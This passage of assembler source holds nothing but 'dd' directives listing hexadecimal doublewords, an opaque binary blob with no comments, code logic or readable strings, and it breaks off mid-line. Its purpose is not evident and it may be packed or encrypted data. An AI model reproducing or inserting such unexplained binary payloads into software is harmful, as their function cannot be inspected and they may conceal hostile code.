dd 0CC5C008Bh, 16EB239h, 94002580h, 0CDC38F63h, 0BC44ABh dd 73ED1617h, 290A9F50h, 0FBC4C900h, 0E25C0478h, 48B17FE0h dd 210E7A88h, 0D2A3CC47h, 62F0C7EEh, 0DB00356Fh, 4BDFC5BCh dd 17283158h, 7FE2DEDh, 1F560D4Ah, 65DBA5E0h, 6D0793D9h dd 6B66F2EEh, 78C2FE10h, 1EDD0094h, 0CE35874Ch, 0E000ADCAh dd 2458B0FCh, 0F3F6FD3h, 0BDF309C8h, 48016C00h, 9C00B688h dd 0EB0E5921h, 1DCC6E22h, 0C093EF40h, 4A4580AFh, 5300E908h dd 0E7C2B65Ch, 335B8BAh, 59560E88h, 0A90CBDFh, 0AC00F9A2h dd 0FD4A14EAh, 758546B5h, 9AD30080h, 969D600Eh, 7E0045A9h dd 0AF5CA53Dh, 0C7B0A0h, 2F3503B6h, 96A2BB26h, 0E9909D1Fh dd 86D0C300h, 731B94F5h, 878400AAh, 0E150C408h, 8D000516h dd 1F45FE92h, 388EE658h, 0A8BB6EA3h, 8377B300h, 76812448h dd 44027900h, 0ED80C595h, 30F6E8h, 4DE0C9F1h, 3A260B7Ah dd 0C3004FE4h, 0EF6BC2D9h, 76A2BAh, 60746EF3h, 55292D87h dd 0A803127Bh, 88ED745h, 34800006h, 5BBCCE4Fh, 0FA0589E6h dd 51D6A9F0h, 0A03E1FC7h, 64ABF1EEh, 0B5E61924h, 0E0E918B4h dd 5101586Eh, 0BA92D997h, 74705423h, 103C0016h, 6C894624h dd 0F000BD72h, 0EB408AA6h, 0AFB5DDh, 0A59716D9h, 8CD167DAh dd 68F61B00h, 3251C1Ah, 0D40D3F5Ch, 3DCC598Fh, 0CD2751E0h dd 120A7A40h, 0C8660568h dd 4448301h, 43D81946h, 0DC7178h, 999C4295h, 0B8B5D31Fh dd 5C03BAEEh, 6F4A7EDDh, 806ED89Bh, 29720375h, 8D70B332h dd 7354C0B7h, 0D268AE4h, 0C100E9F6h, 7CC8433Dh, 0F46005Ch dd 0DBEF5051h, 5948CB34h, 5D140027h, 7877EC57h, 47AA0086h dd 6839C4DFh, 937C3661h, 0F95AAD2Ch, 0E137AF00h, 5BF0EBh dd 72032765h, 6AC00AE8h, 1EEEB300h, 0FD47FA3Dh, 0F817748Dh dd 8E253B6Bh, 0E5D2E280h, 2B19FF9Ah, 8CA7400h, 0FAB799F8h dd 1E050017h, 18607735h, 73004CE3h, 0DC5F369Eh, 3CC398Ah dd 0FB4DC31Bh, 6AF0F0E5h, 0F2099B24h, 20A87223h, 0F3A7674h dd 0E1E90058h, 0C2A180ADh, 450086D4h, 12B8A34h, 922A2CB3h dd 0CE14006Ch, 339D8223h, 0C10EF4BCh, 0A08FA7EAh, 221C66E1h dd 29B3004Eh, 83F9B8A3h, 0BD005461h, 0DFF78FFDh, 7D21A4h dd 144B630Ch, 0BF1E423Eh, 85DAFF00h, 2D1664CEh, 972403EFh dd 72D545FCh, 474386D8h, 0DCCDA600h, 0C9D9E3ADh, 38A076D7h dd 93807BEFh, 60BCDD54h, 0C985AE5h, 6CCF5630h, 9745E9h dd 5779AE39h, 0F30AA8Bh, 70982250h, 22A1D1Fh, 410C8296h dd 71D815h, 65F8ED2Dh, 37E67238h, 0F0E89000h, 95AF896Bh dd 93580028h, 9B2D537Fh, 0C7009214h, 497E1EC8h, 0EDF518h dd 0A8818CA0h, 2784CC5Eh, 4A3D31F2h, 0F55500FEh, 1F072B89h dd 2D5B00CAh, 49D5EF91h, 0FDA0489Ch, 2B00AB32h, 7334178Bh dd 0D065B2h, 0ABC2AE3h, 0C5DF1836h, 0C024D830h, 7FC6D28h dd 0C3765B84h, 91E3B06Eh, 27984823h, 0A9AE5300h, 0EE3C418Bh dd 6A1B13F9h, 99CB00A0h, 2CE0624Eh, 660B2100h, 0E3FAD96Eh dd 329D283Eh, 0CBC900F8h, 6782F34Bh, 1F1F3DA0h, 92858611h dd 0AFC06C03h, 6AB121h, 0CBD318A5h, 430F22E9h, 264F0600h dd 1083BDFh, 79499CAh, 17508FB9h, 1BC130B8h, 0A339CF8Bh dd 81EC805Eh, 0A2DB4660h, 0BAC01E4Fh, 0F464802Bh, 1A03E1E0h dd 0FF035EFEh, 5BCF587Dh, 9298F834h, 7B5200D3h, 0D89EA13Ch dd 78000A97h, 2269A31Eh, 342A7Fh, 0E241A0C6h, 0B6EF864Ch dd 7E0074E2h, 0EC9F82FEh, 9093F48h, 4ABD21EBh, 4900500Eh dd 2BEAD1E6h, 0E27BE303h, 0C836602Ah, 0E40E32h, 0F62F9069h dd 194F8C7Fh, 14FEE812h, 2586BB00h, 0F33581h, 7A96C28h dd 0DEA5B5F0h, 0AF1B4100h, 6A87939Dh, 2C9074B7h, 0D10476h dd 239AFA0Dh, 6F00ED4Dh, 0EA72FB81h, 0B8DFDB5Dh, 2DFD0086h dd 979F7910h, 5200662Fh, 63EC0FB7h, 0EA89D5h, 95E05FC8h dd 98C01F0Dh, 77B81270h, 0A112600h, 831D3D86h, 803103C6h dd 0F55761BFh, 0ACFBA000h, 994334FAh, 2AA81D5Ch, 77003C9Ch dd 0C4A2979Ah, 8C0E858Fh, 0E50E1745h, 9C005A41h, 272C48FDh dd 0DD630031h, 4A7A3728h, 624ACACBh, 711FADF8h, 704962Ah dd 0C0510332h, 84DDF7AEh, 0B80E912Ch, 50C5CD00h, 5027E098h dd 738D67h, 2D668593h, 7DD16F0Fh, 0EB70A300h, 9677083Fh dd 3BF0BBh, 0F9D0D5EAh, 0A81F930Dh, 7C1B6800h, 0F292A91h dd 8C1400F8h, 2170560Ah, 9FF866E5h, 4918A200h, 0F2015D6h dd 0F7D400C9h, 6A1236D1h, 0C00113FCh, 0A509664Ch, 26E1019Fh dd 79A3860h, 6014F348h, 7D8AC0BFh, 8F00AD97h, 0CAD8569Bh dd 891CF2h, 246F2DA5h, 11993CE0h, 83063638h, 673EFAADh dd 9A23F914h, 2E162BFCh, 168CFBAh, 654BA663h, 0B9070E95h dd 60789F31h, 0D15097E2h, 486C9A26h, 46ABF700h, 0F89E0Ah dd 9B28CC33h, 0F41E55DBh, 1EB8E2F0h, 0AE7D4400h, 0A845AC18h dd 0CC732Bh, 0C75F7701h, 0B4FE8F2Eh, 0E1B0CAF8h, 375ED502h dd 80416C3Fh, 57E20F2h, 0F6573BB3h, 8025E407h, 55E8C0A0h dd 53B81F2Bh, 0C71529C0h, 0BA2383h, 9A7FF95Fh, 0CB2967F5h dd 0EF0D78E0h, 0A0C96163h, 7CA031B1h, 6A5BDC79h, 7B80248h dd 0E2D87D97h, 96F05CB0h, 888F0EA2h, 7C66EC06h, 1412D80Ch dd 0F80182D4h, 12B6907Fh, 0F89DD0h, 8DD1A2E4h, 6FD27E46h dd 0C9B7F200h, 0DEC0BC9Ah, 0A02B0390h, 0EE17D61h, 46C074C3h dd 3B00AB65h, 202FA2C2h, 772334h, 0CA575C04h, 0C18CEAD0h dd 357ECB00h, 0F1DA29D4h, 187A1E97h, 126780C0h, 0D06D7CE0h dd 993ABE7Fh, 0E25F0CFBh, 25E0AFh, 0A58AB9Eh, 0CB6B3496h dd 6033BB34h, 0E8958800h, 15DA9h, 0D9DBB2B1h, 0B38388BAh dd 7950E000h, 0BCEDEFDCh, 1C3FD26h, 0D56209AAh, 0F40B6964h dd 0C701FC19h, 0A58A70E5h, 40C6A30Fh, 7D85FD08h, 0C01E64Ah dd 7AE6259Ch, 4E001318h, 725AA184h, 73716ACCh, 6B1E00F7h dd 88F218Ah, 8400E87Bh, 25180976h, 187026A3h, 4087AD31h dd 0BEE89757h, 10CF7DFCh, 9A27C06Dh, 0A03B3AD9h, 3973F780h dd 0B580489Dh, 64E39F28h, 0F1F866Bh, 0F900921Ah, 8ABF5324h dd 1910E43h, 17614E72h, 0FA8646BDh, 94BEBC48h, 70AF201h dd 6FD8635Dh, 0F576C841h, 0B0A961F4h, 0F4C98ACh, 52AB6AB4h dd 2346C500h, 340065E6h, 0F4B88411h, 0EA5DB0h, 41936AD9h dd 0A98197AEh, 0FE1DA8EAh, 1292B7ECh, 3B3FBC40h, 0A42D02h dd 6DE6F17Dh, 279935A5h, 0C2E3816h, 6E038DBCh, 93C03797h dd 0CE31ABAh, 631F809Dh, 2F0053EAh, 8DF577FAh, 39888345h dd 0F31F110Eh, 0D91697h, 0E0650D04h, 510441F8h, 0C0D75805h dd 0CF3428C0h, 1B92098Dh, 70217656h, 0CCF9362Ah, 0A838E867h dd 51A7817Fh, 6E27A6F8h, 6AA5E880h, 1ACEFC72h, 0E3CA1805h dd 0EC0068ABh, 75162215h, 19C3E26Dh, 18421A5Bh, 0D571F497h dd 0C24A5400h, 58C56EC7h, 0FCFB008Ah, 0DF86435Eh, 7017653h dd 0A26DB85Fh, 74E0D666h, 81793F84h, 747D823Eh, 0CDAD2EE4h dd 0B516F7h, 604DED2Ch, 2B009371h, 8F74A9D8h, 2F1BEFh dd 7AB51EA8h, 0C611F061h, 750093E4h, 12EDB29Fh, 0BCD050h dd 9ED6C398h, 565BFE0Ah, 0F82EE028h, 0B6ED7E00h, 0EA4AF199h dd 735100BDh, 3DAA370h, 0D60EFEFDh, 20E91E7Eh, 88AC7F1Bh dd 0D1F20054h, 46894B22h, 0B000FA1Ah, 24D68079h, 40EA8160h dd 5403C7DAh, 1BE8063Ah, 84B7D762h, 63892191h, 796F8FCh dd 0A6FCCD1Ah, 1830F058h, 0A100C8CEh, 702EF9D5h, 0FCBBE94Bh dd 0F1F01BAh, 0F2C7EB56h, 8292F423h, 15E42607h, 79F0C2E0h dd 0EBB75Dh, 5BFC8130h, 7FD77B48h, 195F6901h, 4DD21E71h dd 0D5A8003Eh, 0AC9C582Ch, 6DE7ABA0h, 3D690C00h, 0F5D001C9h dd 3CCF0073h, 0B6C3713h, 96F48BD3h, 12A19500h, 4F9150E5h dd 38180571h, 80B3D98Fh, 5C11A811h, 9F417800h, 1055FEC2h dd 52FD0006h, 8E1DF5AEh, 7100CEC4h, 5B0AD94Fh, 0E3DC1Ch dd 0E7CF8A2Ah, 1836C5C8h, 0AF008379h, 6BE6B048h, 563BD5h dd 629ECDBh, 95CAC2D2h, 52E50306h, 4011DF2Ch, 0F444315Bh dd 6E67893h, 0CE91F3D9h, 4FE22097h, 4D176B1Ch, 267E0B80h dd 47F10Eh, 0F5C63D0Ch, 85123CEEh, 30D66532h, 0C5E16064h dd 9F4200CAh, 1D830D7Dh, 8E0054BAh, 1F36FBFCh, 3D1440EAh dd 0BC80D7B5h, 832C68E1h, 5E00FFD3h, 0E4DA23BEh, 0BBC995h dd 0F5DFC1C6h, 66CE38Bh, 145133Eh, 8DDD7F6Bh, 0A7EC0979h dd 0CDD800B7h, 2A617C05h, 0A1F9621h, 8C476588h, 0B7109271h dd 7D4CC3EDh, 0AEB6000Bh, 0A7FD27F8h, 4000EBE8h, 9548A545h dd 1FB7D42h, 6EF4B0D1h, 2C3462D5h, 61C90759h, 1C34FD0Bh dd 1E8A0D81h, 21D90F8h, 810F9E5Fh, 0A4C14A95h, 0A032EC9Ch dd 1C4D3Bh, 9317DA66h dd 0EF91C8h, 82B6B703h, 1C5A4696h, 0C5B5DF01h, 0C8A958F8h dd 27C29840h, 0E5C00002h, 444A2AB9h, 1C0026D8h, 403D70E9h dd 3BC36A0Bh, 0D403135Fh, 34F1C7A6h, 0B5CA3805h, 0BC00C149h dd 0BF735F2Ch, 20E8F7FCh, 220F009Ch, 0F83B55FAh, 0F005F660h dd 0FCC742C3h, 0DDEFD440h, 9E8915h, 0B55729D1h, 8B35851h dd 1E972D09h, 9E8FFD16h, 15C40B20h, 0B0F40CD1h, 62CE330Bh dd 0C1360CA2h, 9D2E0085h, 1CD77334h, 1E0E8D8Fh, 0A2580D93h dd 80BECBCFh, 22094E8Bh, 437F01F6h, 7996AED3h, 2631CC15h dd 3ED249C6h, 91E503D9h, 458138BEh, 0A713A3F0h, 1801ACFAh dd 679A0990h, 0DCC45DB7h, 702D004Dh, 0AA95EA25h, 0AF0CC4DBh dd 489AB5CCh, 56340042h, 0C137B74Bh, 0BA00E160h, 6E95A753h dd 0FC8CAEA4h, 0C8FF00C7h, 3C030799h, 1705821Ch, 0A7EDDF02h dd 0E2F6B420h, 234800AAh, 6D599260h, 0CB00CD43h, 14B0B41Dh dd 3740C299h, 0F0310DA1h, 0D38429E8h, 1D23C600h, 40CCB8B6h dd 0DA4D2CF4h, 4560341h, 0D1901061h, 0D8007895h, 0A56B43EDh dd 2E12D7ADh, 50D0h, 0E07CB7Ch, 0B6E8CD68h, 5DCFE701h dd 530FCAF2h, 9615E06Eh, 16F02201h, 3BC01C17h, 0B4701EC3h dd 0DFE7C0E8h, 96B2EC42h, 0F2A4B3Ah, 0E0D2D377h, 0C96BAD7Eh dd 6130C139h, 20B7B820h, 72618E97h, 6B0F07B0h, 1785799Ch dd 0F4D2009Ch, 0A5663547h, 0E810B58h, 0C9EEFFh, 2AD27679h dd 0A34D0161h, 631B408Eh, 0B64897BDh, 0C7B5240Fh, 3E3347F2h dd 0AA6BD8F3h, 1191002Ah, 2B77141Fh, 0DD1FA879h, 2300ABC2h dd 0A013FEA3h, 846C0180h, 73F81F8Dh, 0F9588846h, 8C6F0017h dd 0E3A07D44h, 55ED0C00h, 3070999Ah, 3D8800C6h, 9D16DD6Ch dd 0B27D5F04h, 65F65174h, 0FCB67403h, 0A6BB25AEh, 694D2640h dd 0CB8A065Dh, 0DCF8504Bh, 0D6806C28h, 80D3E03Ch, 9228ABF1h dd 60A96643h, 86F47946h, 5B03AFC2h, 0CD24123h, 82B7D8F1h dd 0D5110C9Ah, 5C51C09Fh, 0CE544B0Fh, 672FC75Eh, 0E4CAED70h dd 16049053h, 5D9321h, 5EEE6DF5h, 8A0D57DFh, 41BA9FA5h dd 0F8088BD4h, 38B000E8h, 64B809C1h, 0F00ADC4h, 0D54B8F7Bh dd 0FF882Dh, 0CA4E4430h, 619ADF4Ch, 0E1CD420Eh, 5BD2023h dd 0FCBAA0D5h, 589C63CCh, 6F81317Dh, 64688C4Eh, 7DAE71ADh dd 62B60E73h, 16C79B46h, 0C0DD6705h, 0E4589392h, 0A0A8527Fh dd 38607F2Dh, 8C91139h, 5BDD0054h, 0B3B9109Ch, 0DB0045CEh dd 1D1523CFh, 1E29802Ch, 32F0509h, 6DC2DA67h, 82C8A0D3h dd 0E339B8F8h, 2DE8083h, 0B6EF1D4Bh, 0BF650011h, 0C66A5FEBh dd 0AF00EE8Ch, 75125179h, 0F845D4AAh, 80015046h, 1AE373A9h dd 3089DBECh, 94B2BE60h, 0F631EE39h, 803B10A0h, 0CD84381h dd 18C57A9Fh, 1172F54Fh, 0F9125963h, 0A601EB3Eh, 0EEF8C66Bh dd 0C0E1BBD0h, 49AF0420h, 71B88E6h, 1458C5CDh, 0E1A14318h dd 9FD0E72h, 0A058BFE6h, 0E8010575h, 0A209284h, 7D60CA70h dd 0A0643CF6h, 0B848180Ch, 5D0ECC41h, 0E1052E2Ah, 0C73F64D0h dd 21740898h, 0B790351Fh, 0A1C12016h, 0EA9C6B05h, 894E4C06h dd 0A0E229h, 9075E9FFh, 0D6BA7813h, 706F9D3Bh, 0BE5D8800h dd 0B7024D67h, 0B3B5331Ah, 0E2D3F798h, 5C9A4000h, 0E4185B7Fh dd 0C8BA2A96h, 0A27B30A8h, 0FF512AC0h, 0EB3D80h, 0F19B3522h dd 873ABAACh, 3B7A8500h, 0F2B7D109h, 4E560E65h, 403E1626h dd 9D322969h, 0CE007B13h, 2B84A7F3h, 0F9FD7B7h, 0EC1141BBh dd 16F25540h, 5C0A7FC9h, 14A2D0AAh, 22AB08h, 42ED178h dd 391DE67Dh, 0A700A1F1h, 0D0E34FFEh, 0F9530093h, 732C90F4h dd 8D14F154h, 4513Bh, 0E14303AFh, 495CB6h, 4F47C05Ah, 152B709Ch dd 9F79E600h, 0CB1408B0h, 3C3B008Ah, 67CCBB44h, 0D0F5BBCh dd 0E02D9095h, 7C9DFCF8h, 0BE033D36h, 0BA7AB900h, 0A6206EB5h dd 4751807h, 9C308E85h, 8F5E2Fh, 0EBE97263h, 0FE4BA1D2h dd 434F1200h, 0F8878C5Bh, 88D00BAh, 2BFB555Ah, 93000EA1h dd 15B4283h, 122E034h, 1FAF80B4h, 40450F56h, 2C743CACh dd 0E2F46D02h, 0FFBFFABBh, 2F54D800h, 1900F586h, 0B6CF8085h dd 7BC017h, 341BE172h, 785CAEB8h, 0AA839CA0h, 800AAF3Ch dd 0E84DFF8Bh, 7E2A49Eh, 0DD944820h, 0F5ABD0A9h, 0D10010D0h dd 5AAC8EADh, 7D7EFA50h, 86C10130h, 92F1E056h, 695FE0D4h dd 14F24600h, 48C0BBB7h, 1FBE00E7h, 0A9C24ECh, 9300662Ah dd 79ACD931h, 3B8C2867h, 740DFF34h, 0DCD85161h, 57003B01h dd 90E16955h, 10624Ch, 2C2EF2C6h, 2FD7CD2Ah, 31406300h dd 0E8AC8379h, 980F754h, 0E368ACFh, 0D7009BB0h, 0EE7CF3E9h dd 72508123h, 0FC5C00C7h, 7FC485CBh, 6E007517h, 8B3ABD11h dd 840AF1h, 5ADD2135h, 0D49ACACEh, 8DB59100h, 889C2B9Eh dd 633C00F0h, 25DA06FDh, 0EA00F26Ah, 3534E8E2h, 955C2Bh dd 61898C05h, 76FB0C09h, 98001EF6h, 85D0A4D6h, 0CF5D886h dd 227D19EEh, 3900C1F0h, 0B6C53DE3h, 7BB4C968h, 9AE70186h dd 0EEBDAAAh, 0D3E8DC3Eh, 8B94AB0Bh, 4490825h, 9B7B8101h dd 41F8D1E0h, 0BF1B0082h, 2B293DB5h, 0E10165DDh, 19ED370Fh dd 0E6966B28h, 2AB303F2h, 6A8E5C6h, 0CA007CEBh, 20A609CDh dd 17D7B5Bh, 0F5BB319Eh, 0ED601FB6h, 0FACC4052h, 0D201A951h dd 0A72F4350h, 2DCC35C7h, 8AF0041h, 775A7071h, 0D1009792h dd 4E2776ACh, 71EFC9A3h, 85D30086h, 8D9B0645h, 7A00F4A7h dd 0CB5B466Ch, 7AC0F109h, 91AE0792h, 8076A2A0h, 7D12EC36h dd 8ACCCB01h, 3E83494h, 3774920h, 0F70BF61Ah, 1EA0CA56h dd 60032991h, 5B885C35h, 123498B0h, 9D3600F9h, 2B7AAD1Ah dd 0CE76E44Dh, 80469600h, 8912A757h, 0E6E10E07h, 58AFD559h dd 540A6C23h, 284A6B88h, 92BBC100h, 0CB0E16A1h, 0C06D000Ch dd 0BE50DCDh, 0DE0015D4h, 17196C38h, 6A9CA2h, 8E95E0A1h dd 415FBE98h, 3A00D5F6h, 0E5473827h, 1E3C5756h, 67FDC0Ch dd 0D8E1738Eh, 6DEE1600h, 0B880F5B5h, 0CD320020h, 53409735h dd 411324F0h, 4E035718h, 0A0280B7Ch, 0AD0633h, 5FD8923h dd 0BB6C194Dh, 0A4CE5E00h, 0A92D3A98h, 5C75ECh, 8E4AD612h dd 0FDD37235h, 944D9E1Dh, 6E5DB140h, 0E82A15h, 45A80662h dd 99C06974h, 0FA224109h, 0AF03809Dh, 8C02CCh, 4C9E92DCh dd 5919C68Dh, 824B8E3Ch, 6B4D2FADh, 0F1048043h, 76885FFh dd 0C148E0C8h, 4A74603Dh, 4F003BA7h, 0DAAFD8CDh, 28E97Ch dd 2F14534Dh, 2320E507h, 0E1CF1E00h, 6082D761h, 0B4E0003Eh dd 0DCE48CB7h, 770066EFh, 0FE382910h, 571F49h, 0FB0B2620h dd 3DEC8D67h, 81358217h, 2E3AC00h, 31DBD7h, 0FB164A1Ah dd 0A18E948Bh, 7FA56D00h, 0C4F9F735h, 3DAE419h, 405972AFh dd 6EF0D433h, 7C0003F8h, 616D1139h, 45D74h, 0DC1EC897h dd 45B4EA8Bh, 0BD34C30Fh, 0AF5C60F7h, 7A1185B2h, 0AEE1016Eh dd 7D61EEA2h, 69A72050h, 58000472h, 51FE6275h, 24903A92h dd 4120D39Dh, 0D08A7F23h, 9B7B99C8h, 0CC74CD00h, 0DC244FFAh dd 0D8DB012Eh, 0EBE777F1h, 23D2E497h, 0DA55F900h, 804D5CD6h dd 0D4A40034h, 3E41CD11h, 0AC002584h, 0C1DBE102h, 19C2C8Fh dd 56D2FFEFh, 0FC4B5801h, 0F484DA5h, 79B0068h, 0ED8A80CEh dd 0F2B6702Ch, 0AFFA0090h, 0B419E6D4h, 83EA985Dh, 6E558C00h dd 3DDB2049h, 0E88A0FA0h, 0B36288DEh, 42C0D275h, 47015DE1h dd 0E9CF73A9h dd 0B9C02411h, 0A4E009C1h, 0EC0F6A0Bh, 45BCE463h, 50A78100h dd 9B15960Ah, 0BEFF025Ch, 230442F1h, 0A193C080h, 1A7DC27Ah dd 2AC39201h, 0B0E5D626h, 62C04880h, 0F4EEA7E2h, 6F2538h dd 0C35AA309h, 184663h, 4FF8A9F3h, 0BB658B8h, 0BC000C75h dd 7F88E9B4h, 6A2B71h, 0D0DC895Fh, 0B6634846h, 5005BE2h dd 0C9AADD6Eh, 0F8F85821h, 0FCFB00D7h, 23C39940h, 4D069AE4h dd 45DAF59Bh, 0AFD017E0h, 0C6C9A0F9h, 0BB643B03h, 791334FBh dd 9A7603C9h, 2BD6481Bh, 710C028Dh, 0BC407AF6h, 0AC002836h dd 60405E64h, 0C96EFCh, 86A53E58h, 49AB1632h, 9ED4633Bh dd 719F8B6Ah, 2DBBD40h, 0CE340Eh, 0AC17B9D9h, 0C48751Bh dd 9D6BD439h, 0EADC779Ch, 0D9EC4040h, 1AA1D87h, 0B7F1E897h dd 70EE55BEh, 6107581Ch, 0B9693F8Fh, 39BA4290h, 5444F501h dd 0F0D202C0h, 9A850C48h, 5C097174h, 8A0321DCh, 0E83AA7D5h dd 41507h, 99539F72h, 283F79C0h, 0E8288AFBh, 1D80FC1Ah dd 8966A165h, 147F93h, 13DA68EFh, 71F9535h, 16277B06h dd 3147D7h, 0C7874052h, 0CED9B464h, 14B67800h, 0B78EEB0Ah dd 77B50773h, 10E25F2Ah, 7282F71Ch, 2D74201h, 36CF0B6Fh dd 3EE82EECh, 20625A48h, 610CA3D2h, 74707F36h, 39A8C4B6h dd 424E5871h, 4832C703h, 4CEF60CBh, 343072CFh, 0DC754040h dd 0D6D40081h, 900A454Fh, 0CE001561h, 39CFE1DEh, 7CAAFF6h dd 8F2E77A1h, 31BC601Ch, 8200C2B5h, 18433DF9h, 16B9A22h dd 0D9FC5853h, 0D440E64Ch, 0C500B80Ah, 35E9D6BDh, 0C6766Bh dd 0CC92BCB3h, 86C03C67h, 0BAA0CE00h, 0F9E4824Bh, 5D120028h dd 591BD814h, 0BC26862Ah, 0D100FC9Ch, 79221793h, 0DCD20038h dd 0CBAEA2BEh, 6009288h, 0B2754715h, 0B7FD7FDh, 358A2213h dd 0E68EE300h, 260005A3h, 579B416Bh, 60F3A9h, 2F0A205Bh dd 7867AB0Eh, 164F2700h, 0A0DA77F0h, 0B2D500F6h, 86334A0Dh dd 800F540Ch, 20B3870Eh, 0F6434F9Ch, 0BF3100F3h, 54EE27B7h dd 8201193Dh, 32E285B3h, 7D0DAF0h, 2A370087h, 0EE6933C0h dd 8C1DBC6Eh, 603C6336h, 0C60C1821h, 2C903A4h, 148925C4h dd 7996480Eh, 836878CFh, 0E2D8042Ch, 58A4CC18h, 83A3EF20h dd 0E2D74800h, 0DAA7D839h, 6711C30Eh, 0EE8898E0h, 0F71973CBh dd 0DD08CEB6h, 0E847218Fh, 481797E0h, 1C0FFE91h, 635E1AD2h dd 0F0D67CB3h, 30ADD821h, 730A9BAh, 0B904AEA7h, 168BC1A2h dd 30FFC7C3h, 0CE219B08h, 5B00B9A6h, 7E0A3510h, 5ED86Eh dd 7360CC02h, 0E579B38Eh, 9486E928h, 0B01F347Ch, 221383E4h dd 0ADFE1500h, 1DBCCE65h, 40545CF9h, 2C394144h, 2E81A64h dd 0FB24EA00h, 0FCC426F6h, 0DF130072h, 0A8238760h, 85009578h dd 218C10Ah, 3C46DCh, 1E8EA4B4h, 0C7CBE076h, 99105528h dd 0BDDE0600h, 3C32CD9h, 0A2D2005Fh, 5A8927C0h, 3000FE7Bh dd 1F0BD741h, 0FC13FE4h, 8DA7ADC9h, 555B035Dh, 97A0E56Bh dd 9500FC5Fh, 6D62B49Fh, 0ECD2E85h, 6A38CC4Ah, 24347F00h dd 0C000FAA1h, 78DAAE94h, 3D19DF8h, 762C3844h, 87C3329h dd 0FBE16700h, 30A02722h, 6E980090h, 0B485053Ah, 0BB00518Fh dd 60A928BFh, 0EC88FAB1h, 69F645h, 3753F92h, 24D1E53Bh dd 6C182260h, 762E9Ch, 4CEA2CABh, 0B28416C0h, 6CF7858h dd 5B94BB8Eh, 2C3B0178h, 7BEB77ACh, 16118073h, 0DD890E99h dd 3FE618F3h, 77C209F5h, 0C7B620C0h, 4C1E4Bh, 8F2656B0h dd 6CABEC78h, 5B972118h, 8644F850h, 660ECC02h, 1B5DCBDEh dd 0B33B21D6h, 2D1B00CAh, 4CD7FF67h, 4A923068h, 0EE3ACB59h dd 0A47E3144h, 0E960454h, 63FBDE94h, 0B5210710h, 0B3930EFCh dd 0D2E01AC7h, 5000F17Ch, 71320951h, 183B16C1h, 6877BDDFh dd 9500562Ah, 93379B5Bh, 0E2BE89E8h, 0AEE233h, 90D9D514h dd 192FC174h, 0F0EA6E00h, 0F8A8966Bh, 336C1FAEh, 5BA7C0F7h dd 2F53C0A5h, 30CE2530h, 0F21E22h, 0B940C456h, 3B0BDDC9h dd 8B093Dh, 891B212Ch, 0EDA01FDh, 0D4C17742h, 478E4EE0h dd 11EA5A95h, 0BCAFB700h, 3AD20446h, 793D3E0Dh, 724BC981h dd 0E069B6C1h, 836088ACh, 3F71A9A1h, 0D5C91F9Ah, 0DD99004Eh dd 1A6F5A69h, 30F16530h, 47E074h, 0A36811AAh, 78A2B2F4h dd 0CCB3FD00h, 0FB38DAC7h, 0EA81074Ah, 0B0D37757h, 49FDD7D4h dd 92C62500h, 81D0D1A7h, 9D3A0043h, 0EDFB292Ch, 2007B3F6h dd 5CBDE046h, 88C32600h, 4E530CC6h, 0E5A1CAD9h, 52CF1F00h dd 0F24273B5h, 0F9F31C91h, 53FB0006h, 8D5AFD37h, 0BBAC4C00h dd 0CFF2201Eh, 49AA00B8h, 0B6892FA3h, 0C200F9F4h, 66C66928h dd 7BBCE9Dh, 0E76B13FFh, 408F4043h, 0A4000E3Ch, 84529026h dd 0EE51044h, 0CE4B72F4h, 0F30A60C0h, 0C20EC71Ah, 80C4D313h dd 935CA490h, 6CBE01F0h, 0B4AC3DA5h, 96DAF4FAh, 0CA056900h dd 0DBC3481Ah, 8026000Dh, 90C1DC1Bh, 0FF00E7F3h, 0A7A2F663h dd 1785330h, 0CB72B7D3h, 8061E3DDh, 0D7A40D4h, 2D707Fh dd 0F26FA952h, 7691EE03h, 84073D01h, 8B5865CEh, 0C0EFFE70h dd 303F7518h, 0D4F7C3D5h, 30C12BA8h, 0A7DF99FEh, 10AC6B61h dd 650D0367h, 13D07903h, 0BC2888FDh, 0C200ACFCh, 0D31DCAA8h dd 0C09B102Bh, 8BBEDBB1h, 7900A535h, 982ECB28h, 3A8F6E4h dd 0BFC37789h, 84B8398Ch, 0F000B5CCh, 38ED8D76h, 7C2C6h dd 0F1DD3AAFh, 2C31608Ch, 1F861A07h, 4640DBEBh, 5D5C6Ch dd 1EF03D3Ah, 0DC886761h, 0C8E5CD0Eh, 256D86F6h, 0B0FA1C20h dd 419F00D4h, 2F1FDF04h, 1D7F9601h, 6FAB5D5Eh, 5C3A0880h dd 76810992h, 25C20F0Fh, 69A0C0BDh, 0E094E2CFh, 80A20667h dd 0DA567F1Fh, 316BC703h, 0B8AF60D4h, 12917FCh, 5C22F473h dd 8048FA82h, 699DEE58h, 0B18B13h, 0FB0DF5EBh, 99AD62DCh dd 0A320C717h, 9040061Dh, 0E1EE41BAh, 1DD9C738h, 1AC841B4h dd 3E1183C3h, 0C89F8EF2h, 0F24EB99h, 237F5657h, 6020502Ch dd 26A08650h, 811FA30Eh, 284100ECh, 0A046BB8Ah, 0E6685374h dd 0CFBE005Fh, 0F87F175h, 351C5013h, 8E80B878h, 0C2A86469h dd 0F0D3BDh, 5F773ADFh, 0A0C0462Dh, 9371C621h, 5C090376h dd 0CDB5BB3Fh, 9FDAF10Eh, 71732090h, 3A6309DCh, 0B130B9F9h dd 992A0721h, 2F421700h, 3FD70273h, 2C5009F6h, 75812918h dd 0F1629864h, 0D17EC6Fh, 0D888DC05h, 5A806C6Bh, 0EC4E5276h dd 1CA000B2h, 0D0E519FFh, 96008215h, 7FD6CC6Eh, 7C892Bh dd 6A973BC8h, 12526D26h, 0EB3CDA0Eh, 7881C00Ch, 9E4280h dd 0C8D3DF5Bh, 0CCFE9B73h, 0CA12B400h, 0F2564D7Eh, 607A30h dd 0C5675852h, 68800D01h, 1A05F91Eh, 0C8C6480h, 0DEA97929h dd 68B7C021h, 0E7D28B11h, 8209600h, 0CDB0A1DCh, 17F1074Eh dd 301B9E5Fh, 0CA212DFh, 0F2024F00h, 18727931h, 99DE000Fh dd 0F7660B2Dh, 7F006817h, 67AD01C9h, 0E4BFA25h, 0F5CCAE83h dd 3244841h, 15FDCFh, 972AEEh, 70AF8364h, 711C7BB6h, 0AE304598h dd 82F2A05Bh, 0DB2500CEh, 7A5DD4E5h, 3B1CF39Ch, 54C0F4BBh dd 36459A06h, 990803B6h, 5057D02Bh, 0E33981F6h, 3F2C8F84h dd 2B6683E6h, 0C5180E02h, 2AE07598h, 0EC6EEE50h, 9BCE6B1Eh dd 343C1E40h, 2A88A205h, 76A802AFh, 15B427Ah, 5C36886h dd 0F0B5FAAh, 2068AD14h, 0B8859A61h, 9125003Ah, 